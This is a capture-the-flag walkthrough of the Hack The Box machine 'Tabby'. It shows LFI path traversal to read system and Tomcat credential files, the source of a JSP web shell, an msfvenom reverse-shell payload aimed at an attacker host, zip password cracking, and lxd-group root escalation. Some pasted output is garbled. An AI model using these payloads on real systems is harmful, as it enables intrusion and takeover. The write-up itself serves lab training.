Tabby

In this machine, we first exploit a Local File Inclusion (LFI) vulnerability to enumerate the Tomcat users. Then we achieve remote code execution (RCE) by uploading a .war file to Tomcat. For privilege escalation, we extract credentials from a zip file and abuse the lxd group.
June 6, 20248 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
ping -c 1 10.10.10.194
PING 10.10.10.194 (10.10.11.254) 56(84) bytes of data.
64 bytes from 10.10.11.254: icmp_seq=1 ttl=63 time=38.4 ms
--- 10.10.10.194 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.381/38.381/38.381/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.194 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.194
5 │ [*] Open ports: 22,80,8080
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
> nmap -p22,80,8080 -sCV 10.10.10.194 -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-26 18:42 CEST
Nmap scan report for skyfall.htb (10.10.11.254)
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
Ports 80 and 8080
There is a website running on port 80 with Apache 2.4.41.
We start by fuzzing with gobuster to find subdirectories.
> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.194 -x php
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 14175]
/news.php (Status: 200) [Size: 0]
/files (Status: 301) [Size: 312] [--> http://10.10.10.194/files/]
/assets (Status: 301) [Size: 313] [--> http://10.10.10.194/assets/]
If we open news.php directly we see a blank page, but if we open it from the button on the main page, it takes us to http://megahosting.htb/news.php?file=statement
To view the page, we need to add the domain to /etc/hosts
Once we can see the page, we notice there is a URL parameter called file. gobuster detected a folder called files, so the ?file= parameter might be loading the contents of files inside files. We can check this like this


We see that what’s shown at news.php?file=statement is the same as what’s in /files/statement. Knowing this, we try to exploit an LFI (Local File Inclusion)
curl http://megahosting.htb/news.php?file=../../../../../../../../../etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync❌102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus❌103:106::/nonexistent:/usr/sbin/nologin
syslog❌104:110::/home/syslog:/usr/sbin/nologin
_apt❌105:65534::/nonexistent:/usr/sbin/nologin
tss❌106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd❌107:112::/run/uuidd:/usr/sbin/nologin
tcpdump❌108:113::/nonexistent:/usr/sbin/nologin
landscape❌109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate❌110:1::/var/cache/pollinate:/bin/false
sshd❌111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump❌999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd❌998💯:/var/snap/lxd/common/lxd:/bin/false
tomcat❌997:997::/opt/tomcat:/bin/false
mysql❌112:120:MySQL Server,,,:/nonexistent:/bin/false
ash❌1000:1000:clive:/home/ash:/bin/bashc
Now we can enumerate files on the machine.
In /etc/passwd we see the user ash, whose SSH id_rsa key we could try to steal
curl http://megahosting.htb/news.php?file=../../../../../../../../../home/ash/.ssh/id_rsa
But we can’t read it.
If we remember the nmap scan, there was another open port, 8080, which has Tomcat running. When we open it, a message appears saying:
Users are defined in /etc/tomcat9/tomcat-users.xml.
We try to read /etc/tomcat9/tomcat-users.xml through the LFI, but it doesn’t work
curl http://megahosting.htb/news.php?file=../../../../../../../../../etc/tomcat9/tomcat-users.xml
Searching online, I found they can also be stored in /usr/share/tomcat9/etc/tomcat-users.xml
curl -s http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml | grep username
you must define such a user - the username and password are arbitrary. It is
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
We have the credentials for the tomcat user!
If we log in from /manager in Tomcat, we get the following error
By default the Manager is only accessible from a browser running on the same machine as Tomcat
Basically, we can’t get in unless we access it from the same machine. If we look at the tomcat user’s roles, we see it has the manager-script role. This role lets us upload files as follows.
First we create a .war that lets us run commands
mkdir war
cd war
nano index.jsp
<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
jar -cvf ../evil.war *
cd ../
We upload it
curl --upload-file evil.war 'http://tomcat:[email protected]:8080/manager/text/deploy?path=/evil2&update=true'
OK - Deployed application at context path [/evil2]
Now we can run commands
curl "megahosting.htb:8080/evil2/index.jsp?cmd=id"
<form method=GET action='index.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<pre>uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)</br></pre>
To get the reverse shell, we create another .war with msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.32 LPORT=443 -f war -o shell.war
We upload it
curl --upload-file shell.war 'http://tomcat:[email protected]:8080/manager/text/deploy?path=/shell&update=true'
We listen with nc on port 443
nc -nlvp 443
We make a request to the file and get the shell
curl "megahosting.htb:8080/shell/"
Privilege escalation
Before going on, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm
export TERM=xterm
Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash
export SHELL=bash
After searching for a while, we find 16162020_backup.zip.
tomcat@tabby:/var/www/html/files$ ls
16162020_backup.zip archive revoked_certs statement
When we try to unzip it, it asks for a password
tomcat@tabby:/var/www/html/files$ unzip 16162020_backup.zip
Archive: 16162020_backup.zip
checkdir error: cannot create var
Read-only file system
unable to process var/www/html/assets/.
[16162020_backup.zip] var/www/html/favicon.ico password:
To find the password, we copy the zip to our machine
We extract its hash with zip2john
zip2john 16162020_backup.zip > hash
Now we crack it with john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
16162020_backup.zip:admin@it::16162020_backup.zip:var/www/html/news.php, var/www/html/favicon.ico, var/www/html/Readme.txt, var/www/html/logo.png, var/www/html/index.php:16162020_backup.zip
1 password hash cracked, 0 left
The zip password is admin@it.
There is nothing inside the zip.
When we try it, we find that this password is reused by the user ash
Checking ash’s groups, we see he is in the lxd group
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
To abuse this group to escalate privileges, we’ll do the following on our machine
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
bash build-alpine
This generates the file alpine-v3.20-x86_64-20240606_1419.tar.gz, which we have to copy to the target machine along with this script: searchsploit -m linux/local/46978.sh
ash@tabby:/tmp$ ./46978.sh -f alpine-v3.20-x86_64-20240606_1419.tar.gz
./46978.sh: line 21: lxc: command not found
When we run it, it says the lxc command doesn’t exist.
It could be that lxc is there but not in the PATH, so we’ll look for it
ash@tabby:/tmp$ find / -name lxc 2>/dev/null
/snap/lxd/14804/bin/lxc
/snap/lxd/14804/commands/lxc
/snap/lxd/14804/lxc
/snap/lxd/21468/bin/lxc
/snap/lxd/21468/commands/lxc
/snap/lxd/21468/lxc
/snap/bin/lxc
/var/snap/lxd/common/lxc
/etc/bash_completion.d/lxc
/usr/share/bash-completion/completions/lxc
lxc does exist, but it isn’t in the PATH, so we add it
ash@tabby:/tmp$ export PATH=$PATH:/snap/bin/
Now we get Error: open alpine-v3.20-x86_64-20240606_1419.tar.gz: no such file or directory
ash@tabby:/tmp$ ./46978.sh -f alpine-v3.20-x86_64-20240606_1419.tar.gz
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
Error: open alpine-v3.20-x86_64-20240606_1419.tar.gz: no such file or directory
[*] Listing images...
+-------+-------------+--------+-------------+--------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+--------------+------+------+-------------+
Creating privesc
Error: Not Found
This error gave me a bit of a headache because I didn’t understand why it wasn’t working.
In the end, I tried moving the file to another path, such as ash’s home directory
ash@tabby:/tmp$ mv alpine-v3.20-x86_64-20240606_1419.tar.gz /home/ash/
ash@tabby:/tmp$ ./46978.sh -f /home/ash/alpine-v3.20-x86_64-20240606_1419.tar.gz
[*] Listing images...
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| alpine | 099f19378603 | no | alpine v3.20 (20240606_14:19) | x86_64 | CONTAINER | 3.67MB | Jun 6, 2024 at 4:28pm (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
Creating privesc
Device giveMeRoot added to privesc
~ #
Now we are inside the container we created, as the root user
Inside /mnt/root we have the host machine’s root filesystem mounted
/ # cd /mnt/root
/mnt/root # ls
bin etc lib64 mnt run sys
boot home libx32 opt sbin tmp
cdrom lib lost+found proc snap usr
dev lib32 media root srv var
So with cat on /mnt/root/root/root.txt we can see the flag